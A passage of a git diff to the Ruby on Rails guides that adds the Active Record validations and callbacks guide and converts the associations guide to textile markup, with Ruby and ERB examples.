+* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than {{count}}_".
+* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less or equal to {{count}}_".
+* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_".
+* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_".
+
+The default error message for +validates_numericality_of+ is "_is not a number_".
+
+h4. +validates_presence_of+
+
+This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_presence_of :name, :login, :email
+end
+</ruby>
+
+If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
+
+<ruby>
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+ validates_presence_of :order_id
+end
+</ruby>
+
+Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use +validates_inclusion_of :field_name, :in => [true, false]+.
+
+The default error message for +validates_presence_of+ is "_can't be empty_".
+
+h4. +validates_uniqueness_of+
+
+This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database.
+
+<ruby>
+class Account < ActiveRecord::Base
+ validates_uniqueness_of :email
+end
+</ruby>
+
+The validation happens by performing a SQL query into the model's table, searching for an existing record with the same value in that attribute.
+
+There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check:
+
+<ruby>
+class Holiday < ActiveRecord::Base
+ validates_uniqueness_of :name, :scope => :year,
+ :message => "should happen once per year"
+end
+</ruby>
+
+There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_uniqueness_of :name, :case_sensitive => false
+end
+</ruby>
+
+WARNING. Note that some databases are configured to perform case-insensitive searches anyway.
+
+The default error message for +validates_uniqueness_of+ is "_has already been taken_".
+
+h4. +validates_each+
+
+This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_each :name, :surname do |model, attr, value|
+ model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
+ end
+end
+</ruby>
+
+The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.
+
+h3. Common Validation Options
+
+There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which are discussed later in "Conditional Validation":#conditional-validation.
+
+h4. +:allow_nil+
+
+The +:allow_nil+ option skips the validation when the value being validated is +nil+. Using +:allow_nil+ with +validates_presence_of+ allows for +nil+, but any other +blank?+ value will still be rejected.
+
+<ruby>
+class Coffee < ActiveRecord::Base
+ validates_inclusion_of :size, :in => %w(small medium large),
+ :message => "{{value}} is not a valid size", :allow_nil => true
+end
+</ruby>
+
+h4. +:allow_blank+
+
+The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example.
+
+<ruby>
+class Topic < ActiveRecord::Base
+ validates_length_of :title, :is => 5, :allow_blank => true
+end
+
+Topic.create("title" => "").valid? # => true
+Topic.create("title" => nil).valid? # => true
+</ruby>
+
+h4. +:message+
+
+As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
+
+h4. +:on+
+
+The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated.
+
+<ruby>
+class Person < ActiveRecord::Base
+ # it will be possible to update email with a duplicated value
+ validates_uniqueness_of :email, :on => :create
+
+ # it will be possible to create the record with a non-numerical age
+ validates_numericality_of :age, :on => :update
+
+ # the default (validates on both create and update)
+ validates_presence_of :name, :on => :save
+end
+</ruby>
+
+h3. Conditional Validation
+
+Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
+
+h4. Using a Symbol with +:if+ and +:unless+
+
+You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
+
+<ruby>
+class Order < ActiveRecord::Base
+ validates_presence_of :card_number, :if => :paid_with_card?
+
+ def paid_with_card?
+ payment_type == "card"
+ end
+end
+</ruby>
+
+h4. Using a String with +:if+ and +:unless+
+
+You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_presence_of :surname, :if => "name.nil?"
+end
+</ruby>
+
+h4. Using a Proc with +:if+ and +:unless+
+
+Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.
+
+<ruby>
+class Account < ActiveRecord::Base
+ validates_confirmation_of :password,
+ :unless => Proc.new { |a| a.password.blank? }
+end
+</ruby>
+
+h3. Creating Custom Validation Methods
+
+When the built-in validation helpers are not enough for your needs, you can write your own validation methods.
+
+Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names.
+
+You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.
+
+<ruby>
+class Invoice < ActiveRecord::Base
+ validate :expiration_date_cannot_be_in_the_past,
+ :discount_cannot_be_greater_than_total_value
+
+ def expiration_date_cannot_be_in_the_past
+ errors.add(:expiration_date, "can't be in the past") if
+ !expiration_date.blank? and expiration_date < Date.today
+ end
+
+ def discount_cannot_be_greater_than_total_value
+ errors.add(:discount, "can't be greater than total value") if
+ discount > total_value
+ end
+end
+</ruby>
+
+You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses:
+
+<ruby>
+ActiveRecord::Base.class_eval do
+ def self.validates_as_radio(attr_name, n, options={})
+ validates_inclusion_of attr_name, {:in => 1..n}.merge(options)
+ end
+end
+</ruby>
+
+Simply reopen +ActiveRecord::Base+ and define a class method like that. You'd typically put this code somewhere in +config/initializers+. You can use this helper like this:
+
+<ruby>
+class Movie < ActiveRecord::Base
+ validates_as_radio :rating, 5
+end
+</ruby>
+
+h3. Working with Validation Errors
+
+In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects.
+
+The following is a list of the most commonly used methods. Please refer to the +ActiveRecord::Errors+ documentation for a list of all the available methods.
+
+h4. +errors.add_to_base+
+
+The +add_to_base+ method lets you add errors messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. +add_to_base+ simply receives a string and uses this as the error message.
+
+<ruby>
+class Person < ActiveRecord::Base
+ def a_method_used_for_validation_purposes
+ errors.add_to_base("This person is invalid because ...")
+ end
+end
+</ruby>
+
+h4. +errors.add+
+
+The +add+ method lets you manually add messages that are related to particular attributes. You can use the +full_messages+ method to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself.
+
+<ruby>
+class Person < ActiveRecord::Base
+ def a_method_used_for_validation_purposes
+ errors.add(:name, "cannot contain the characters !@#%*()_-+=")
+ end
+end
+
+person = Person.create(:name => "!@#")
+
+person.errors.on(:name)
+ # => "cannot contain the characters !@#%*()_-+="
+
+person.errors.full_messages
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+</ruby>
+
+h4. +errors.on+
+
+The +on+ method is used when you want to check the error messages for a specific attribute. It returns different kinds of objects depending on the state of the +errors+ collection for the given attribute. If there are no errors related to the attribute +on+ returns +nil+. If there is just one error message for this attribute +on+ returns a string with the message. When +errors+ holds two or more error messages for the attribute, +on+ returns an array of strings, each one with one error message.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_presence_of :name
+ validates_length_of :name, :minimum => 3
+end
+
+person = Person.new(:name => "John Doe")
+person.valid? # => true
+person.errors.on(:name) # => nil
+
+person = Person.new(:name => "JD")
+person.valid? # => false
+person.errors.on(:name)
+ # => "is too short (minimum is 3 characters)"
+
+person = Person.new
+person.valid? # => false
+person.errors.on(:name)
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+</ruby>
+
+h4. +errors.clear+
+
+The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_presence_of :name
+ validates_length_of :name, :minimum => 3
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.on(:name)
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+
+p.save # => false
+
+p.errors.on(:name)
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+</ruby>
+
+h4. +errors.size+
+
+The +size+ method returns the total number of error messages for the object.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_presence_of :name
+ validates_length_of :name, :minimum => 3
+ validates_presence_of :email
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 3
+
+person = Person.new(:name => "Andrea", :email => "andrea@example.com")
+person.valid? # => true
+person.errors.size # => 0
+</ruby>
+
+h3. Displaying Validation Errors in the View
+
+Rails provides built-in helpers to display the error messages of your models in your view templates.
+
+h4. +error_messages+ and +error_messages_for+
+
+When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance.
+
+<ruby>
+class Product < ActiveRecord::Base
+ validates_presence_of :description, :value
+ validates_numericality_of :value, :allow_nil => true
+end
+</ruby>
+
+<erb>
+<% form_for(@product) do |f| %>
+ <%= f.error_messages %>
+ <p>
+ <%= f.label :description %><br />
+ <%= f.text_field :description %>
+ </p>
+ <p>
+ <%= f.label :value %><br />
+ <%= f.text_field :value %>
+ </p>
+ <p>
+ <%= f.submit "Create" %>
+ </p>
+<% end %>
+</erb>
+
+To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default:
+
+!images/error_messages.png(Error messages)!
+
+You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result.
+
+<erb>
+<%= error_messages_for :product %>
+</erb>
+
+The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
+
+Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.
+
+<erb>
+<%= f.error_messages :header_message => "Invalid product!",
+ :message => "You'll need to fix the following fields:",
+ :header_tag => :h3 %>
+</erb>
+
+Which results in the following content
+
+!images/customized_error_messages.png(Customized error messages)!
+
+If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+.
+
+h4. Customizing the Error Messages CSS
+
+The selectors to customize the style of error messages are:
+
+* +.fieldWithErrors+ - Style for the form fields and labels with errors.
+* +#errorExplanation+ - Style for the +div+ element with the error messages.
+* +#errorExplanation h2+ - Style for the header of the +div+ element.
+* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element.
+* +#errorExplanation ul li+ - Style for the list items with individual error messages.
+
+Scaffolding for example generates +public/stylesheets/scaffold.css+, which defines the red-based style you saw above.
+
+The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers.
+
+h4. Customizing the Error Messages HTML
+
+By default, form fields with errors are displayed enclosed by a +div+ element with the +fieldWithErrors+ CSS class. However, it's possible to override that.
+
+The way form fields with errors are treated is defined by +ActionView::Base.field_error_proc+. This is a +Proc+ that receives two parameters:
+
+* A string with the HTML tag
+* An instance of +ActionView::Helpers::InstanceTag+.
+
+Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
+
+<ruby>
+ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
+ if instance.error_message.kind_of?(Array)
+ %(#{html_tag}<span class="validation-error">&nbsp;
+ #{instance.error_message.join(',')}</span>)
+ else
+ %(#{html_tag}<span class="validation-error">&nbsp;
+ #{instance.error_message}</span>)
+ end
+end
+</ruby>
+
+This will result in something like the following:
+
+!images/validation_error_messages.png(Validation error messages)!
+
+h3. Callbacks Overview
+
+Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
+
+h4. Callback Registration
+
+In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks.
+
+<ruby>
+class User < ActiveRecord::Base
+ validates_presence_of :login, :email
+
+ before_validation :ensure_login_has_a_value
+
+ protected
+ def ensure_login_has_a_value
+ if login.nil?
+ self.login = email unless email.blank?
+ end
+ end
+end
+</ruby>
+
+The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line.
+
+<ruby>
+class User < ActiveRecord::Base
+ validates_presence_of :login, :email
+
+ before_create {|user| user.name = user.login.capitalize
+ if user.name.blank?}
+end
+</ruby>
+
+It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
+
+h3. Available Callbacks
+
+Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
+
+h4. Creating an Object
+
+* +before_validation+
+* +before_validation_on_create+
+* +after_validation+
+* +after_validation_on_create+
+* +before_save+
+* +before_create+
+* INSERT OPERATION
+* +after_create+
+* +after_save+
+
+h4. Updating an Object
+
+* +before_validation+
+* +before_validation_on_update+
+* +after_validation+
+* +after_validation_on_update+
+* +before_save+
+* +before_update+
+* UPDATE OPERATION
+* +after_update+
+* +after_save+
+
+h4. Destroying an Object
+
+* +before_destroy+
+* DELETE OPERATION
+* +after_destroy+
+
+WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed.
+
+h4. +after_initialize+ and +after_find+
+
+The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method.
+
+The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined.
+
+The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries.
+
+<ruby>
+class User < ActiveRecord::Base
+ def after_initialize
+ puts "You have initialized an object!"
+ end
+
+ def after_find
+ puts "You have found an object!"
+ end
+end
+
+>> User.new
+You have initialized an object!
+=> #<User id: nil>
+
+>> User.first
+You have found an object!
+You have initialized an object!
+=> #<User id: 1>
+</ruby>
+
+h3. Running Callbacks
+
+The following methods trigger callbacks:
+
+* +create+
+* +create!+
+* +decrement!+
+* +destroy+
+* +destroy_all+
+* +increment!+
+* +save+
+* +save!+
+* +save(false)+
+* +toggle!+
+* +update+
+* +update_attribute+
+* +update_attributes+
+* +update_attributes!+
+* +valid?+
+
+Additionally, the +after_find+ callback is triggered by the following finder methods:
+
+* +all+
+* +first+
+* +find+
+* +find_all_by_<em>attribute</em>+
+* +find_by_<em>attribute</em>+
+* +find_by_<em>attribute</em>!+
+* +last+
+
+The +after_initialize+ callback is triggered every time a new object of the class is initialized.
+
+h3. Skipping Callbacks
+
+Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+
+* +decrement+
+* +decrement_counter+
+* +delete+
+* +delete_all+
+* +find_by_sql+
+* +increment+
+* +increment_counter+
+* +toggle+
+* +update_all+
+* +update_counters+
+
+h3. Halting Execution
+
+As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
+
+The whole callback chain is wrapped in a transaction. If any before callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued. After callbacks can only accomplish that by raising an exception.
+
+WARNING. Raising an arbitrary exception may break code that expects +save+ and friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
+
+h3. Relational Callbacks
+
+Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model.
+
+<ruby>
+class User < ActiveRecord::Base
+ has_many :posts, :dependent => :destroy
+end
+
+class Post < ActiveRecord::Base
+ after_destroy :log_destroy_action
+
+ def log_destroy_action
+ puts 'Post destroyed'
+ end
+end
+
+>> user = User.first
+=> #<User id: 1>
+>> user.posts.create!
+=> #<Post id: 1, user_id: 1>
+>> user.destroy
+Post destroyed
+=> #<User id: 1>
+</ruby>
+
+h3. Conditional Callbacks
+
+Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option.
+
+h4. Using +:if+ and +:unless+ with a Symbol
+
+You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns +false+ the callback won't be executed. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed.
+
+<ruby>
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number, :if => :paid_with_card?
+end
+</ruby>
+
+h4. Using +:if+ and +:unless+ with a String
+
+You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
+
+<ruby>
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number, :if => "paid_with_card?"
+end
+</ruby>
+
+h4. Using +:if+ and +:unless+ with a Proc
+
+Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners.
+
+<ruby>
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number,
+ :if => Proc.new { |order| order.paid_with_card? }
+end
+</ruby>
+
+h4. Multiple Conditions for Callbacks
+
+When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration.
+
+<ruby>
+class Comment < ActiveRecord::Base
+ after_create :send_email_to_author, :if => :author_wants_emails?,
+ :unless => Proc.new { |comment| comment.post.ignore_comments? }
+end
+</ruby>
+
+h3. Callback Classes
+
+Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
+
+Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model.
+
+<ruby>
+class PictureFileCallbacks
+ def after_destroy(picture_file)
+ File.delete(picture_file.filepath)
+ if File.exists?(picture_file.filepath)
+ end
+end
+</ruby>
+
+When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:
+
+<ruby>
+class PictureFile < ActiveRecord::Base
+ after_destroy PictureFileCallbacks.new
+end
+</ruby>
+
+Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.
+
+<ruby>
+class PictureFileCallbacks
+ def self.after_destroy(picture_file)
+ File.delete(picture_file.filepath)
+ if File.exists?(picture_file.filepath)
+ end
+end
+</ruby>
+
+If the callback method is declared this way, it won't be necessary to instantiate a +PictureFileCallbacks+ object.
+
+<ruby>
+class PictureFile < ActiveRecord::Base
+ after_destroy PictureFileCallbacks
+end
+</ruby>
+
+You can declare as many callbacks as you want inside your callback classes.
+
+h3. Observers
+
+Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
+
+h4. Creating Observers
+
+For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality.
+
+<ruby>
+class UserObserver < ActiveRecord::Observer
+ def after_create(model)
+ # code to send confirmation email...
+ end
+end
+</ruby>
+
+As with callback classes, the observer's methods receive the observed model as a parameter.
+
+h4. Registering Observers
+
+Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/environment.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/environment.rb+ this way:
+
+<ruby>
+# Activate observers that should always be running
+config.active_record.observers = :user_observer
+</ruby>
+
+As usual, settings in +config/environments+ take precedence over those in +config/environment.rb+. So, if you prefer that an observer not run in all environments, you can simply register it in a specific environment instead.
+
+h4. Sharing Observers
+
+By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behaviour to more than one model, and so it's possible to manually specify the models that our observer should observe.
+
+<ruby>
+class MailerObserver < ActiveRecord::Observer
+ observe :registration, :user
+
+ def after_create(model)
+ # code to send confirmation email...
+ end
+end
+</ruby>
+
+In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/environment.rb+ in order to take effect.
+
+<ruby>
+# Activate observers that should always be running
+config.active_record.observers = :mailer_observer
+</ruby>
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks
+
+* March 7, 2009: Callbacks revision by Trevor Turk
+* February 10, 2009: Observers revision by Trevor Turk
+* February 5, 2009: Initial revision by Trevor Turk
+* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques
diff --git a/railties/doc/guides/source/association_basics.txt b/railties/guides/source/association_basics.textile
index 95d7397558..03e22bd6fe 100644
--- a/railties/doc/guides/source/association_basics.txt
+++ b/railties/guides/source/association_basics.textile
@@ -1,5 +1,4 @@
-A Guide to Active Record Associations
-=====================================
+h2. A Guide to Active Record Associations
This guide covers the association features of Active Record. By referring to this guide, you will be able to:
@@ -7,69 +6,66 @@ This guide covers the association features of Active Record. By referring to thi
* Understand the various types of Active Record associations
* Use the methods added to your models by creating associations
-== Why Associations?
+endprologue.
+
+h3. Why Associations?
Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
end
class Order < ActiveRecord::Base
end
--------------------------------------------------------
+</ruby>
Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
-[source, ruby]
--------------------------------------------------------
-@order = Order.create(:order_date => Time.now, :customer_id => @customer.id)
--------------------------------------------------------
+<ruby>
+@order = Order.create(:order_date => Time.now,
+ :customer_id => @customer.id)
+</ruby>
Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
-[source, ruby]
--------------------------------------------------------
+<ruby>
@orders = Order.find_by_customer_id(@customer.id)
@orders.each do |order|
order.destroy
end
@customer.destroy
--------------------------------------------------------
+</ruby>
-With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
- has_many :orders
+ has_many :orders, :dependent => :destroy
end
class Order < ActiveRecord::Base
belongs_to :customer
end
--------------------------------------------------------
+</ruby>
With this change, creating a new order for a particular customer is easier:
-[source, ruby]
--------------------------------------------------------
+<ruby>
@order = @customer.orders.create(:order_date => Time.now)
--------------------------------------------------------
+</ruby>
Deleting a customer and all of its orders is _much_ easier:
-[source, ruby]
--------------------------------------------------------
+<ruby>
@customer.destroy
--------------------------------------------------------
+</ruby>
-To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
-== The Types of Associations
+h3. The Types of Associations
-In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:
* +belongs_to+
* +has_one+
@@ -80,53 +76,49 @@ In Rails, an _association_ is a connection between two Active Record models. Ass
In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
-=== The +belongs_to+ Association
+h4. The +belongs_to+ Association
A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Order < ActiveRecord::Base
belongs_to :customer
end
--------------------------------------------------------
+</ruby>
-image:images/belongs_to.png[belongs_to Association Diagram]
+!images/belongs_to.png(belongs_to Association Diagram)!
-=== The +has_one+ Association
+h4. The +has_one+ Association
A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Supplier < ActiveRecord::Base
has_one :account
end
--------------------------------------------------------
+</ruby>
-image:images/has_one.png[has_one Association Diagram]
+!images/has_one.png(has_one Association Diagram)!
-=== The +has_many+ Association
+h4. The +has_many+ Association
A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
has_many :orders
end
--------------------------------------------------------
+</ruby>
NOTE: The name of the other model is pluralized when declaring a +has_many+ association.
-image:images/has_many.png[has_many Association Diagram]
+!images/has_many.png(has_many Association Diagram)!
-=== The +has_many :through+ Association
+h4. The +has_many :through+ Association
A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Physician < ActiveRecord::Base
has_many :appointments
has_many :patients, :through => :appointments
@@ -141,14 +133,13 @@ class Patient < ActiveRecord::Base
has_many :appointments
has_many :physicians, :through => :appointments
end
--------------------------------------------------------
+</ruby>
-image:images/has_many_through.png[has_many :through Association Diagram]
+!images/has_many_through.png(has_many :through Association Diagram)!
-The +has_many :through+ association is also useful for setting up "shortcuts" through nested :+has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+The +has_many :through+ association is also useful for setting up "shortcuts" through nested +has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Document < ActiveRecord::Base
has_many :sections
has_many :paragraphs, :through => :sections
@@ -162,14 +153,13 @@ end
class Paragraph < ActiveRecord::Base
belongs_to :section
end
--------------------------------------------------------
+</ruby>
-=== The +has_one :through+ Association
+h4. The +has_one :through+ Association
A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Supplier < ActiveRecord::Base
has_one :account
has_one :account_history, :through => :account
@@ -183,16 +173,15 @@ end
class AccountHistory < ActiveRecord::Base
belongs_to :account
end
--------------------------------------------------------
+</ruby>
-image:images/has_one_through.png[has_one :through Association Diagram]
+!images/has_one_through.png(has_one :through Association Diagram)!
-=== The +has_and_belongs_to_many+ Association
+h4. The +has_and_belongs_to_many+ Association
A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Assembly < ActiveRecord::Base
has_and_belongs_to_many :parts
end
@@ -200,18 +189,17 @@ end
class Part < ActiveRecord::Base
has_and_belongs_to_many :assemblies
end
--------------------------------------------------------
+</ruby>
-image:images/habtm.png[has_and_belongs_to_many Association Diagram]
+!images/habtm.png(has_and_belongs_to_many Association Diagram)!
